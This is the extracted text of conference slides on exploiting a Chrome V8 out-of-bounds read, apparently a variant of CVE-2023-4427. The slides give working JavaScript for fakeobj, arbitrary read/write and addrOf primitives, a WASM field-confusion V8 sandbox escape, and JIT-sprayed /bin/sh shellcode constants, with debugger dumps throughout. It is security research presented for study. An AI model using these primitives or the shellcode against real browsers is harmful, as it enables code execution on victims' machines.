Indices 0 OOB memory… 0x41424344 … Enum Cache 2
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; Map
}); Keys[1]
Indices[1]
51 #BHUSA @BlackHatEvents
From Out of Bounds Read to FakeObj
//read the arbitrary offset of object2 in the ASM level Object2_addr
; fakeobj = [object2+arbitrary_offset+0xB]
mov eax, dword ptr [r8+r11*2+0Bh] Object2
add rax, r14

Object2_addr +
The V8 Heap manipulations: offset + 0xB
• Write the arbitrary value at a relative Fake_object_
address (of a known object) addr
• Write the arbitrary value at a fixed address
Fake_object_addr
Fake_object

// fake the arbitrary object in the JS level


fakeobj = object2[arbitrary_index];

52 #BHUSA @BlackHatEvents
Write the Arbitrary Value at a
Fixed Address
Large Array 0:000> dd (0x02f10018287d-1)
Map 02f10018287c: 00116db1 000006f5
let large_arr = new Array(0x400000); 01402139 00800000
Properties
large_arr.fill(1.1); Elements
Length

Elements 0:000> dd (0x02f101402139-1)


Map 02f101402138: 00000879 00800000
9999999a 3ff19999
Length
02f101402148: 9999999a 3ff19999
large_arr[0]=1.2; Data 9999999a 3ff19999

33333333 3ff33333

Large Array Elements address is fixed per array size and Chrome Version!

53 #BHUSA @BlackHatEvents
Write the Arbitrary Value at a
Relative Address
• Finding an object X adjacent with the object 2 and containing a constant value field
• Write a value at the relative address of the object2 = object2 address is in a fixed
memory scope + fixed large array element address + the arbitrary value spray

~0x150000 0x01402139-1+8 + 0x200000*8 – 0x150000 – 0xb


0x400000*8 Sliding Object2
Safe Zone
0.000> dd (0x029001402139-1)
029001402138: 00000879 00800000
0x022b2135 00116d71 000006f5
0x01402138 029001402148: 01402151 00000002
00000565 00000000
Large Array 029001402158: 01402141 01402141
Element 01402141 01402141
0x01402138+
0x400000*8 …
0x200000*8
fakeobj 029003402158: 01402141 01402141
address spray 00000000 00000000
0x03402138
54 #BHUSA @BlackHatEvents
Fake the Object
Object2_addr Object2_addr Javascript Level
Object2 Object2

Large_arr_elem_addr:
0x01402139 //read and write
Object2_addr + Large Array with fakeobj
offset + 0xb Fakeobj_addr
Element f = fakeobj[0];
: 0x01402141
Fake_object_ fakeobj[0] = obj;
Fake_object
addr
Object2_addr + //read and write
0x22b2135 + 0xb fakeobj with large array
Fake_object_addr
address a = large_arr[i];
Fake_object spray: large_arr[i] = c;
0x01402141

The theory The practice


55 #BHUSA @BlackHatEvents
Fake the Object – Object Map Values

PACKED_DOUBLE_ELEMENTS

0.000> dd (0x01a600188375-1)
let l = [1.1, 1.2, 1.3, 1.4]; JS Array 01a600188374: 00116d71 000006f5
0018834d 00000008
Map
Properties
PACKED_ELEMENTS
Elements
Length 0.000> dd (0x01a600188385-1)
let a = [1, 2, 3, 1.2, 'x']; 01a600188384: 00116df1 000006f5
00146b11 0000000a

Map Values are Fixed per Chrome Version!

56 #BHUSA @BlackHatEvents
Fake the Object – More Details
large_arr[0] = BigIntAsDouble(FAKE_OBJ_MAP|(0x6f5<<32n));
large_arr[1] = BigIntAsDouble(FAKE_OBJ_ELEMENTS_ADDR|(smi(1n)<<32n));
large_arr[2] = BigIntAsDouble(FIXED_ARRAY_MAP|(smi(0n) << 32n));

Large Array Elements 0.000> dd (0x029001402139-1)


Map 029001402138: 00000879 00800000
00116d71 000006f5 -> la[0]
Length
029001402148: 01402151 00000002 -> la[1]
fakeobj Fake_Obj_Map 00000565 00000000 -> la[2]
Fake_Obj_Properties 029001402158: 01402141 01402141 -> la[3]
& fake[0]
Fake_Obj_Elements
01402141 01402141 …
Fake_Obj_Length …
Fake Obj Elements 029003402158: 01402141 01402141
Fake_Obj_Map
%DebugPrint(fakeobj);
Fake_Obj_Length
Data 0x029001402141 <JSArray[1]>

57 #BHUSA @BlackHatEvents
From FakeObj to Exploitation
Primitives: Arbitrary Read
function v8_read64(addr) {
addr |= 1n;
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = BigIntAsDouble(PACKED_DOUBLE_ELEMENTS_MAP | (DEFAULT_JS_ARRAY_PROPERTIES << 32n));
large_arr[1] = BigIntAsDouble(addr | (smi(1n) << 32n));
let result = DoubleAsBigInt(fakeobj[0]);
large_arr[1] = BigIntAsDouble(0n | (smi(0n) << 32n));
return result;
}

Large Array Elements


0.000> dd (0x029001402139-1)
Map 029001402138: 00000879 00040000
Length 00116d71 000006f5 -> la[0]
Arbitrary 029001402148: 12345671 00000002 -> la[1]
PACKED_DOUBLE_ELEMEN
fakeobj Address
TS_MAP

DEFAULT_JS_ARRAY_PRO fakeobj[0]
PERTIES … v8_read64(0x12345678) -> 0xdeadbeefdeadbeef
Arbitray_Addr|1 – 8 0.000> dd 0x029012345678
029012345678: deadbeef deadbeef -> fakeobj[0]
Obj_Length-smi(1n)

58 #BHUSA @BlackHatEvents
From FakeObj to Exploitation
Primitives: Arbitrary Write
function v8_write(bit, addr, val) {
addr |= 1n;
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = BigIntAsDouble(PACKED_DOUBLE_ELEMENTS_MAP | (DEFAULT_JS_ARRAY_PROPERTIES << 32n));
large_arr[1] = BigIntAsDouble(addr | (smi(1n) << 32n));
if(bit==64) fake[0] = BigIntAsDouble(val);
if(bit==32) { let original = read64(addr); fake[0] = BigIntAsDouble(val | (original[1] << 32n)); }
large_arr[1] = BigIntAsDouble(0n | (smi(0n) << 32n));
}

0.000> dd (0x029001402139-1)
Large Array Elements 029001402138: 00000879 00040000
Map 00116d71 000006f5 -> la[0]
029001402148: 12345671 00000002 -> la[1]
Length
Arbitrary
PACKED_DOUBLE_ELEMEN v8_write(32, 0x12345678, 0x13371337)
fakeobj Address
TS_MAP
… 0.000> dd 0x029012345678
DEFAULT_JS_ARRAY_PRO fakeobj[0] 029012345678: 13371337 deadbeef -> fakeobj[0]
PERTIES …
v8_write(64, 0x12345678, 0x1337133713371337)
Arbitray_Addr|1 – 8
Obj_Length-smi(1n) 0.000> dd 0x029012345678
029012345678: 13371337 13371337 -> fakeobj[0]
59 #BHUSA @BlackHatEvents
From FakeObj to Exploitation
Primitives: Addrof
function addrOf(obj) {
large_arr[0] = BigIntAsDouble(PACKED_ELEMENTS_MAP | (DEFAULT_JS_ARRAY_PROPERTIES << 32n));
large_arr[1] = BigIntAsDouble(FAKE_JS_ARRAY_ELEMENTS_ADDR | (smi(1n) << 32n));
fake[0] = obj;
let addr = DoubleAsBigInt(large_arr[3]) | (smi(0n) << 32n);
return addr;
}

Large Array Elements 0.000> dd (0x029001402139-1)


Map 029001402138: 00000879 00800000
Length 00116df1 000006f5 -> la[0]
029001402148: 01402151 00000002 -> la[1]
fakeobj PACKED_ELEMENTS_MAP
00000565 00000000 -> la[2]
DEFAULT_JS_ARRAY_PROP 029001402158: 001582e5 01402141 -> la[3]
ERTIES
Fake_Obj_Elements
Obj_Length-smi(1n)
obj: 0x0290001582e5 <Object map = 000002900015655D>
Fake Obj Elements
Fake_Obj_Map
Fake_Obj_Length addrOf(obj) -> 0x001582e5
Fakeobj[0] obj
60 #BHUSA @BlackHatEvents
Stability: From 90% to 99% - Are the
Fixed Values Really Fixed ?
Chrome Large Array V8MInorM Large Array Chrome V8Min Free PACKED_D PACKED_EL
Version Length S Element Address Version orMS Chunk OUBLE_EL EMENTS_MA
Base EMENTS_M P
M122 0x20000 no 0x442139
AP
0x482139
M122 no 0xc0000 FREE_CHU PACKED_DO
M123 0x20000 no 0x442139
NK_BASE+ UBLE_ELEM
0x482139
0x56ac5 ENTS_MAP+
M122 0x100000 no 0x7c2139 0x80
0x802139
M123 0x100000 no 0x7c2139 M123 no 0xc0000 FREE_CHU PACKED_DO
0x802139 NK_BASE+ UBLE_ELEM
0x56d71 ENTS_MAP+
M122 0x400000 no 0x13c2139 0x80
0x1402139 yes 0x200000
M123 0x400000 no 0x13c2139
0x1402139
yes 0x1302139
… … … … …
… … … …

61 #BHUSA @BlackHatEvents
Stability: 3 Possible Large Array Element
Addresses
0x01302139 0x01302139 0x01302139
0x01302141 Large Array Element
Fake_object
0x013c2139 0x013c2139
...
0x013c2141 0x013c2141 Large Array Element
Fake_object 0x01402139
Fake_object
Anchor_fakeobj_ Anchor_fakeobj_ Anchor_fakeobj_ Large Array Element
addr:0x01402141 Fake_object addr:0x01402141 Fake_object addr:0x01402141 Fake_object

5 fake objects …
evenly distributed 0x014c2141 0x014c2141
with the gap Fake_object Fake_object
0x40000 (0x8000*8)
5 fake objects 0x01502141
evenly distributed Fake_object
with the gap
0x40000 (0x8000*8) 5 fake objects
evenly distributed
5th fake obj: 2nd fake obj: 1st fake obj: with the gap
Large_arr[0x8000*4+3] Large_arr[0x8000+3] Large_arr[0+3] 0x40000 (0x8000*8)

62 #BHUSA @BlackHatEvents
Stability: Find the Index for 3 Possible
Large Array Element Addresses

function find_index() {
let index = -1;
fakeobj[0] = 1.1; 0.000> dd (0x029001402139-1)
for(let i=0; i<5; i++) 029001402138: 00000879 00800000
{ 00116d71 000006f5 -> la[0+index]
if(large_arr[3+i*0x8000] != 029001402148: 01402151 00000002 -> la[1+index]
BigIntAsDouble(FAKE_JS_ARRAY_ADDR | 00000565 00000000 -> la[2+index]
FAKE_JS_ARRAY_ADDR << 32n)) 029001402158: 00162fa1 01402141 -> la[3+index]
& fake[0]
{
index = 0x8000 * i;
break;
}
}
return index;
}

63 #BHUSA @BlackHatEvents
Stability: Scavenger vs MinorMS
Scavenger: V8 current default young generation MinorMS: aka Minor Mark-Sweep, the new V8
garbage collector young generation garbage collector

Free_Chunk_Base

64 #BHUSA @BlackHatEvents
Homework for MinorMS

• When and why the MinorMS will be enabled?


• Is there a way to explicitly enable/disable MinorMS?
• Is there a way to identify MinorMS will be enabled or not?
• Is it possible to control the switch of MinorMS in the exploit?
• Does MinorMS impact your exploit? If yes, how?
• Is it possible to fit your exploit working under both Scavenger
and MinorMS at the same time? Or is it really necessary?
• More secrets about MinorMS …

65 #BHUSA @BlackHatEvents
Let the WebAssembly
Assemble:
The V8 Sandbox

#BHUSA @BlackHatEvents
Address Space

V8 Sandbox
Object1

Raw pointer
(64bits pointer)

Object2

67 #BHUSA @BlackHatEvents
Address Space

V8 Sandbox
Object1

Offset
(From Sandbox base addr)

Object2

Raw pointer

External
Object

68 #BHUSA @BlackHatEvents
Address Space

V8 Sandbox
Object1

Object3 Object4
Offset

Object2 Index Index

Index

External Trusted Code Pointer


Pointer Table Pointer Table Table
0 Type+Pointer 0 Type+Pointer 0 Pointer

1 Type+Pointer 1 Type+Pointer 1 Pointer

External Trusted Executable


Object Object Object

69 #BHUSA @BlackHatEvents
Let the WebAssembly
Assemble:
The WASM Internals

#BHUSA @BlackHatEvents
WASM Internals – RWX Memory Region
WASM RWX Memory
var wasm_code = new Uint8Array([…]); CallTarget

var wasm_mod = new 0x3e4058452000 jmp 0x3e4058452840


0x3e4058452005 jmp 0x3e405845280a Main Jump
WebAssembly.Module(wasm_code);
0x3e405845200a jmp 0x3e4058452814 Table
var wasm_instance = new … …
WebAssembly.Instance(wasm_mod); 0x3e4058452040 jmp qword ptr[rip+0x2]
… …
var f_main =
0x3e4058452048 0x7ffff3d23780 Far Jump
wasm_instance.exports.main;
… … Table
f_main(); 0x3e4058452050 jmp qword ptr[rip+0x2]
… …
0x3e4058452050 0x7ffff3d23c00
… …
0x3e4058452840 push rbp
0x3e4058452841 mov rbp,rsp Compiled
0x3e4058452844 push 0x8 code
0x3e4058452846 push rsi
0x3e4058452847 sub rsp,0x10
… …

71 #BHUSA @BlackHatEvents
WASM Internals – Module and Instance
Address Space

V8 Sandbox
WasmInstanceObject WasmModuleObject
Map Map
Trusted Ptr Table External Ptr Table
Index Index
WasmModuleObject …

External NativeModule
Trusted WasmTrustedInstanceData Pointer Table WasmModule
Pointer Table Map 0 Type+Pointer …
0 Type+Pointer … 1 Type+Pointer
1 Type+Pointer WasmModule
wasm_dispatch_table

jump_table_start
Vector<WasmFunction>

72 #BHUSA @BlackHatEvents
WASM Internals – Export Functions
Address Space

V8 Sandbox
WasmExportFunction SharedFunctionInfo WasmExportedFunctionData
Map Map Map
SharedFunctionInfo WasmExportedFunctionData WasmInternalFunction
… … WasmInstanceObject
Function Index

WasmInternalFunction
Map
WasmInstanceObject
External
Function Index

73 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call

let wasm_code_0 = new Uint8Array([…]);

let wasm_mod_0 = new (module


WebAssembly.Module(wasm_code_0); (func $indirect (result f32)
f32.const 0.015
let wasm_instance_0 = new )
WebAssembly.Instance(wasm_mod_0); (export "indirect" (func $indirect))
)
indirect =
wasm_instance_0.exports.indirect;

74 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
const tbl = new WebAssembly.Table({ (module
initial: 1, (type $whatever (func (result f32)))
element: "anyfunc", (import "env" "tbl" (table $tb 1 funcref))
maximum: 10 (func $main (param $parametre f32) (result f32)
}); (f32.mul
(call_indirect (type $whatever)
(i32.const 0))
const importObject = { (local.get $parametre)
env: {tbl} )
}; )
(export "main" (func $main))
let wasm_code_1 = new Uint8Array([…]); )

let wasm_mod_1 = new


WebAssembly.Module(wasm_code_1);

let wasm_instance_1 = new


WebAssembly.Instance(wasm_mod_1, importObject);

tbl.set(0, indirect);

wasm_instance_1.exports.main(1000); //15

75 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
… void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
Handle<WasmTableObject> table,
tbl.set(0, indirect); int entry_index,
Handle<Object> entry) {
wasm_instance_1.exports.main(1000); //15 ...
Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));
WasmExportFunction
if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
Map auto exported_function = Handle<WasmExportedFunction>::cast(external);
SharedFunctionInfo
Handle<WasmTrustedInstanceData> target_instance_data(
exported_function->instance()->trusted_data(isolate), isolate);
SharedFunctionInfo
Map int func_index = exported_function->function_index();

WasmExportedFunctionData auto* wasm_function =


&target_instance_data->module()->functions[func_index];
WasmExportedFunctionData UpdateDispatchTables(isolate, table, entry_index, wasm_function,
Map target_instance_data);
}
WasmInternalFunction
...
WasmInstanceObject }
Function Index

76 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
… void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
Handle<WasmTableObject> table,
tbl.set(0, indirect); int entry_index,
Handle<Object> entry) {
wasm_instance_1.exports.main(1000); //15 ...
Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));
WasmInstanceObject
Map if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
Trusted Ptr Table Index auto exported_function = Handle<WasmExportedFunction>::cast(external);

WasmModuleObject Handle<WasmTrustedInstanceData> target_instance_data(


WasmModuleObject exported_function->instance()->trusted_data(isolate), isolate);

Map int func_index = exported_function->function_index();



auto* wasm_function =
External NativeModule &target_instance_data->module()->functions[func_index];
Pointer Table WasmModule
UpdateDispatchTables(isolate, table, entry_index, wasm_function,
0 Type+Pointer
… target_instance_data);
1 Type+Pointer }
WasmModule ...
}

Vector<WasmFunction>
… 77 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
… void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
Handle<WasmTableObject> table,
tbl.set(0, indirect); int entry_index,
Handle<Object> entry) {
wasm_instance_1.exports.main(1000); //15 ...
Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));

if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
auto exported_function = Handle<WasmExportedFunction>::cast(external);

Handle<WasmTrustedInstanceData> target_instance_data(
exported_function->instance()->trusted_data(isolate), isolate);

int func_index = exported_function->function_index();

auto* wasm_function =
&target_instance_data->module()->functions[func_index];

UpdateDispatchTables(isolate, table, entry_index, wasm_function,


target_instance_data);
}
...
}

78 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
WasmInstanceObject
void WasmTableObject::UpdateDispatchTables(
Map Isolate* isolate, Handle<WasmTableObject> table, int entry_index,
const wasm::WasmFunction* func,
Trusted Ptr Table
Handle<WasmTrustedInstanceData> target_instance_data) {
Index ...
WasmModuleObject Address call_target = target_instance_data->GetCallTarget(func->func_index);
...
Trusted
Pointer Table for (int i = 0, len = uses->length(); i < len; i += TableUses::kNumElements) {
int table_index = Smi::cast(uses->get(i + TableUses::kIndexOffset)).value();
0 Type+Pointer
1 Type+Pointer Handle<WasmInstanceObject> instance_object = handle(
WasmInstanceObject::cast(uses->get(i + TableUses::kInstanceOffset)),
isolate);
WasmTrustedInstanceData ...
Map Tagged<WasmTrustedInstanceData> instance_data =
instance_object->trusted_data(isolate);

wasm_dispatch_table instance_data->dispatch_table(table_index)
->Set(entry_index, *call_ref, call_target, sig_id);
jump_table_start }
… }

dispatch_table call_target …
Index 0 …

79 #BHUSA @BlackHatEvents
WASM Internals – Table and Indirect Call
Address WasmTrustedInstanceData::GetCallTarget(
Control of WASM Instance 0 RWX Memory
uint32_t func_index
) {
callTarget
0x3e4058452000 jmp 0x3e4058452840
wasm::NativeModule* native_module = Main Jump
module_object()->native_module(); 0x3e4058452005 0x0000000000
… 0x3e405845200a 0x0000000000 Table
return jump_table_start() + … …
JumpTableOffset( 0x3e4058452040 jmp qword ptr[rip+0x2]
native_module->module(), func_index … …
); 0x3e4058452048 0x7ffff3d23780
}
Far Jump
… … Table
0x3e4058452050 jmp qword ptr[rip+0x2]
uint32_t JumpSlotIndexToOffset(uint32_t slot_index) { … …
uint32_t line_index = slot_index / 0x3e4058452050 0x7ffff3d23c00
kJumpTableSlotsPerLine; … …
uint32_t line_offset = 0x3e4058452840 push rbp
(slot_index % kJumpTableSlotsPerLine) * 0x3e4058452841 mov rbp,rsp
kJumpTableSlotSize;
Compiled
0x3e4058452844 push 0x8 code
return line_index * kJumpTableLineSize + 0x3e4058452846 push rsi
line_offset; 0x3e4058452847 sub rsp,0x10
… …
}

80 #BHUSA @BlackHatEvents
WASM Internals – Table and Indirect Call
WASM Instance 0 RWX Memory

jump 0x3e4058452000 jmp 0x3e4058452840
tbl.set(0, indirect); 0x3e4058452005 0x0000000000 Main Jump
0x3e405845200a 0x0000000000 Table
wasm_instance_1.exports.main(1000);
… …
0x3e4058452040 jmp qword ptr[rip+0x2]
Access
… …
dispatch_table call_target of … 0x3e4058452048 0x7ffff3d23780 Far Jump
indirect … … Table
function 0x3e4058452050 jmp qword ptr[rip+0x2]
Index 0 … … …
0x3e4058452050 0x7ffff3d23c00
… …
0x3e4058452840 push rbp
0x3e4058452841 mov rbp,rsp Compiled
0x3e4058452844 push 0x8 code
0x3e4058452846 push rsi
0x3e4058452847 sub rsp,0x10
… …

81 #BHUSA @BlackHatEvents
WASM Internals – Table and Indirect Call
Address WasmTrustedInstanceData::GetCallTarget(
Control of WASM Instance 0 RWX Memory
uint32_t func_index
) {
callTarget
0x3e4058452000 jmp 0x3e4058452840
wasm::NativeModule* native_module = Main Jump
module_object()->native_module(); 0x3e4058452005 0x0000000000
… 0x3e405845200a 0x0000000000 Table
return jump_table_start() + … …
JumpTableOffset( 0x3e4058452040 jmp qword ptr[rip+0x2]
native_module->module(), func_index … …
); 0x3e4058452048 0x7ffff3d23780
}
Far Jump
… … Table
0x3e4058452050 jmp qword ptr[rip+0x2]
… …
Control of func_index 0x3e4058452050 0x7ffff3d23c00
… …
0x3e4058452840 push rbp
Control of callTarget mov rbp,rsp
0x3e4058452841 Compiled
0x3e4058452844 push 0x8 code
0x3e4058452846 push rsi
Control flow 0x3e4058452847 sub rsp,0x10
Hijacking … …
primitive inside
RWX memory
82 #BHUSA @BlackHatEvents
Let the WebAssembly
Assemble:
The Sandbox Escape

#BHUSA @BlackHatEvents
V8 Sandbox Escape – The Setup
WASM Module 0 WASM Module 1

(module (module
(func $indirect (result f32) (type $whatever (func (result f32)))
f32.const 0.015 (import "env" "tbl" (table $tb 1 funcref))
) (func $exploit (param $parametre f32) (result f32)
(export "indirect" (func $indirect)) (f32.mul
) (call_indirect (type $whatever) (i32.const 0))
(local.get $parametre)
)
WASM Module 2 )
(export ”exploit" (func $exploit))
(module )
(func (export "f0") nop)
(func (export "f1") nop)
(func (export "f2") nop)
(func (export "f3") nop)

(func (export "fN") (result f32)
f32.const 0.015
)
)

84 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Field Confusion
Address Space

V8 Sandbox
Wasm Instance 0
Wasm Module 0
Map
Map
Trusted Ptr Table Index

WasmModuleObject

Using arb read/write


Wasm Instance 2
Map Wasm Module 2
Trusted Ptr Table Index Map
WasmModuleObject …

Trusted Wasm Trusted Instance 1


Pointer Table Wasm Trusted Instance 0 Data
0 Type+Pointer Data Map
Map wasm_dispatch_table
1 Type+Pointer
wasm_dispatch_table

85 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Field Confusion
Address Space

V8 Sandbox
Wasm Instance 0
Wasm Module 0
Map
Map
Trusted Ptr Table Index

WasmModuleObject

Wasm Instance 2
Map Wasm Module 2
Trusted Ptr Table Index Map
WasmModuleObject …

Trusted Wasm Trusted Instance 1


Pointer Table Wasm Trusted Instance 0 Data
0 Type+Pointer Data Map
Map wasm_dispatch_table
1 Type+Pointer
wasm_dispatch_table

86 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Index Change
Address Space

V8 Sandbox
“indirect” Function “indirect” Shared Info “indirect” Function Data
Map Map Map
SharedFunctionInfo WasmExportedFunctionData WasmInternalFunction
… … Wasm Instance 0
Index = 0

87 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Index Change
Address Space

V8 Sandbox
“indirect” Function “indirect” Shared Info “indirect” Function Data
Map Map Map
SharedFunctionInfo WasmExportedFunctionData WasmInternalFunction
… … Wasm Instance 0
Index = N

Using arb read/write

88 #BHUSA @BlackHatEvents
V8 Sandbox Escape
Address Space

V8 Sandbox
“indirect” Function “indirect” Shared Info “indirect” Function Data
Map Map Map
SharedFunctionInfo WasmExportedFunctionData WasmInternalFunction
… … Wasm Instance 0
Index = N

Wasm Instance 0
Map
Trusted Ptr Table Wasm Module 2
Index Map
WasmModuleObject …

Trusted Pointer
Table Wasm Trusted Instance 0
Data
0 Type+Pointer
Map
1 Type+Pointer
wasm_dispatch_table

89 #BHUSA @BlackHatEvents
V8 Sandbox Escape
void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,

Handle<WasmTableObject> table,
int entry_index,
tbl.set(0, indirect);
Handle<Object> entry) {
...
wasm_instance_1.exports.exploit(1337);
Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));

if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
auto exported_function = Handle<WasmExportedFunction>::cast(external);
func_index = N
Handle<WasmTrustedInstanceData> target_instance_data(
exported_function->instance()->trusted_data(isolate), isolate);

Instance data int func_index = exported_function->function_index();

of Instance 0 auto* wasm_function =


&target_instance_data->module()->functions[func_index];

module2->functions[N] UpdateDispatchTables(isolate, table, entry_index, wasm_function,


target_instance_data);
}
...
}

90 #BHUSA @BlackHatEvents
WASM Internals – Table and Indirect Call
void WasmTableObject::UpdateDispatchTables(
Isolate* isolate, Handle<WasmTableObject> table, int entry_index,
const wasm::WasmFunction* func,
Handle<WasmTrustedInstanceData> target_instance_data) {
Instance data ...
Address call_target = target_instance_data->GetCallTarget(func->func_index);
of Instance 0 ...

for (int i = 0, len = uses->length(); i < len; i += TableUses::kNumElements) {


int table_index = Smi::cast(uses->get(i + TableUses::kIndexOffset)).value();
func = confused
wasm function Handle<WasmInstanceObject> instance_object = handle(
WasmInstanceObject::cast(uses->get(i + TableUses::kInstanceOffset)),
from module 2 isolate);
...
Tagged<WasmTrustedInstanceData> instance_data =
instance_object->trusted_data(isolate);

instance_data->dispatch_table(table_index)
->Set(entry_index, *call_ref, call_target, sig_id);
}
}

91 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Escaping
WASM Instance 0 RWX Memory

0x3e4058452000 jmp 0x3e4058452840
Main Jump
tbl.set(0, indirect); 0x3e4058452005 0x0000000000 Table
0x3e405845200a 0x0000000000
wasm_instance_1.exports.exploit(1337);
… …
0x3e4058452840 push rbp
0x3e4058452841 mov rbp,rsp
dispatch Null Null … 0x3e4058452844 push 0x8
_table 0x3e4058452846 push rsi
Index 0 1 … 0x3e4058452847 sub rsp,0x10
0x3e405845284e cmp rsp,QWORD PTR [r13-0x60]
0x3e4058452852 jbe 0x3e405845287b Compiled
code
0x3e4058452858 mov r10d,0x3c75c28f
0x3e405845285e vmovd xmm0,r10d
0x3e4058452863 mov r10,QWORD PTR [rsi+0x67]
0x3e4058452867 sub DWORD PTR [r10+0x4],0x23
0x3e405845286c js 0x3e4058452886
0x3e4058452872 vmovss xmm1,xmm1,xmm0
… …

92 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Escaping
WASM Instance 0 RWX Memory

0x3e4058452000 jmp 0x3e4058452840
Main Jump
tbl.set(0, indirect); 0x3e4058452005 0x0000000000 Table
0x3e405845200a 0x0000000000
wasm_instance_1.exports.exploit(1337);
… …
0x3e4058452840 push rbp
0x3e4058452841 mov rbp,rsp
dispatch callTarget=jmp_table_start+N Null … 0x3e4058452844 push 0x8
_table 0x3e4058452846 push rsi
Index 0 1 … 0x3e4058452847 sub rsp,0x10
0x3e405845284e cmp rsp,QWORD PTR [r13-0x60]
0x3e4058452852 jbe 0x3e405845287b Compiled
code
0x3e4058452858 mov r10d,0x3c75c28f
0x3e405845285e vmovd xmm0,r10d
0x3e4058452863 mov r10,QWORD PTR [rsi+0x67]
0x3e4058452867 sub DWORD PTR [r10+0x4],0x23
0x3e405845286c js 0x3e4058452886
0x3e4058452872 vmovss xmm1,xmm1,xmm0
… …

93 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Escaping
WASM Instance 0 RWX Memory

0x3e4058452000 jmp 0x3e4058452840
Main Jump
tbl.set(0, indirect); 0x3e4058452005 0x0000000000 Table
0x3e405845200a 0x0000000000
wasm_instance_1.exports.exploit(1337);
… …
0x3e4058452840 push rbp
Access
0x3e4058452841 mov rbp,rsp
dispatch callTarget=jmp_table_start+N Null … 0x3e4058452844 push 0x8
_table 0x3e4058452846 push rsi
Index 0 1 … 0x3e4058452847 sub rsp,0x10

jmp_table_start+N
0x3e405845284e cmp rsp,QWORD PTR [r13-0x60]
0x3e4058452852 jbe 0x3e405845287b Compiled
code
0x3e4058452858 mov r10d,0x3c75c28f
0x3e405845285e vmovd xmm0,r10d
jump 0x3e4058452863 mov r10,QWORD PTR [rsi+0x67]
Control Flow 0x3e4058452867 sub DWORD PTR [r10+0x4],0x23
0x3e405845286c js 0x3e4058452886
Hijacking
0x3e4058452872 vmovss xmm1,xmm1,xmm0
primitive … …

94 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Code Execution
Control Flow
Code
Hijacking
Execution
primitive

WAT Code 64bit ASM



(func (export "spray") (result f64) movabs r10,0x7eb909090909090
f64.const 1.63052427775809e-270 vmovq xmm0,r10

f64.const 1.6181477236817195e-270 movabs r10,0x7eb5b0068732f68


vmovq xmm1,r10
f64.const 1.6177848829038078e-270
movabs r10,0x7eb596e69622f68
f64.const 1.630523884017562e-270 vmovq xmm2,r10

… Liftoff movabs r10,0x7eb909020e3c148


) Compiler vmovq xmm3,r

95 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Code Execution
WASM Module 0 WASM Instance 0 RWX Memory
(module
(func (export "spray") (result f64) 0x3e4058452000 jmp 0x3e4058452840
Main Jump
f64.const 1.63052427775809e-270 0x3e4058452005 jmp 0x3e405845280a Table
f64.const 1.6181477236817195e-270 0x3e405845200a 0x0000000000
f64.const 1.6177848829038078e-270 … …
f64.const 1.630523884017562e-270
f64.const 1.6305240634909753e-270 0x3e4058452840 push rbp
f64.const 1.6175077909294658e-270 0x3e4058452841 mov rbp,rsp
f64.const 1.6456885606567564e-270 push 0x8
0x3e4058452844
f64.const 1.6305242777505848e-270
drop 0x3e4058452846 push rsi
drop 0x3e4058452847 sub rsp,0x10
drop 0x3e405845284e cmp rsp,QWORD PTR [r13-0x60]
drop 0x3e4058452852 jbe 0x379ded7718ea Compiled
drop movabs r10,0x7eb909090909090
code
0x3e4058452858
drop
0x3e4058452862 vmovq xmm0,r10
drop
) 0x3e4058452867 movabs r10,0x7eb5b0068732f68
(func $indirect (result f32) 0x3e4058452871 vmovq xmm1,r10
f32.const 0.015 0x3e4058452876 movabs r10,0x7eb596e69622f68
) vmovq xmm2,r10
0x3e4058452880
(export "indirect" (func $indirect))
) … …

96 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Code Execution

WASM Instance 0 RWX Memory

tbl.set(0, indirect); 0x3e4058452000 jmp 0x3e4058452840


Main Jump
0x3e4058452005 jmp 0x3e405845280a Table
wasm_instance_1.exports.exploit(1337); 0x3e405845200a 0x0000000000
… …
… …
0x3e405845285b nop
Control 0x3e405845285c nop
Flow 0x3e405845285d nop
Hijacking Jump to 0x3e405845285e nop
primitive shellcode 0x3e405845285f nop
jmp 0x3e4058452869 Compiled
0x3e4058452860
code
… …
0x3e4058452869 push 0x68732f “/sh”
0x3e405845286e pop rbx
0x3e405845286f jmp 0x3e4058452878
… …
0x3e4058452878 push 0x6e69622f “/bin”
0x3e405845287d pop rcx
… …

97 #BHUSA @BlackHatEvents
Putting It All Together
• A OOB read vulnerability - a variant of CVE-2023-4427
• From a OOB read vulnerability to the fakeobj primitive by
controlling the offset of the OOB read and using some advanced
heap manipulation techniques
• From the fakeobj primitive to more powerful exploit primitives:
addrof, arbitrary read, arbitrary write – elegantly solving the
exploit stability issues
• Use those exploit primitives for “field confusion” and hijack WASM
call target address to jump into a controlled offset of the WASM
